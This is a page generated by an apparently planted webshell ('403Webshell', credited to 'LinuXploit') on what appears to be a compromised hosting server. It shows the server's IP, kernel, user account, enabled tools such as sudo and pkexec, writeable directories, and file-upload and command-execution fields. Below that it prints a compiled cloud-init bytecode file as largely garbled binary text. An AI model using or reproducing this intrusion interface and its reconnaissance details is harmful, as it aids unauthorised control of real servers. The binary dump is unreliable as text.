403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/cloudinit/config/__pycache__/cc_update_hostname.cpython-39.pyc
a

'�Dg��@s�UdZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZdd	gegd
�Z
e
ed<e�e�Zeeeedd�d
d�ZdS)z)Update Hostname: Update hostname and fqdn�N)�util)�Cloud)�Config)�
MetaSchema)�
PER_ALWAYSZcc_update_hostname�all)�idZdistrosZ	frequencyZactivate_by_schema_keys�meta)�name�cfg�cloud�args�returnc
	Cs�t�|dd�rt�d|�dSt�|dd�}|durB|j�d|�t�|dd�}|durf|j�d|�t�||�\}}}|r�|dkr�t�d�dSz6tj�	|�
d�d	�}	t�d
||�|j�|||	�Wn$ty�t�
td||��Yn0dS)NZpreserve_hostnameFzWConfiguration option 'preserve_hostname' is set, not updating the hostname in module %sZprefer_fqdn_over_hostname�create_hostname_fileZ	localhostz6Hostname is localhost. Let other services handle this.�datazprevious-hostnamezUpdating hostname to %s (%s)z(Failed to update the hostname to %s (%s))rZget_cfg_option_bool�LOG�debugZdistroZ
set_optionZget_hostname_fqdn�os�path�joinZ	get_cpathZupdate_hostname�	ExceptionZlogexc)
r
rrr
Z
hostname_fqdnr�hostnameZfqdnZ
is_defaultZprev_fn�r�G/usr/lib/python3.9/site-packages/cloudinit/config/cc_update_hostname.py�handles:���
�r)�__doc__ZloggingrZ	cloudinitrZcloudinit.cloudrZcloudinit.configrZcloudinit.config.schemarZcloudinit.settingsrr	�__annotations__Z	getLogger�__name__r�str�listrrrrr�<module>	s�


Youez - 2016 - github.com/yon3zu
LinuXploit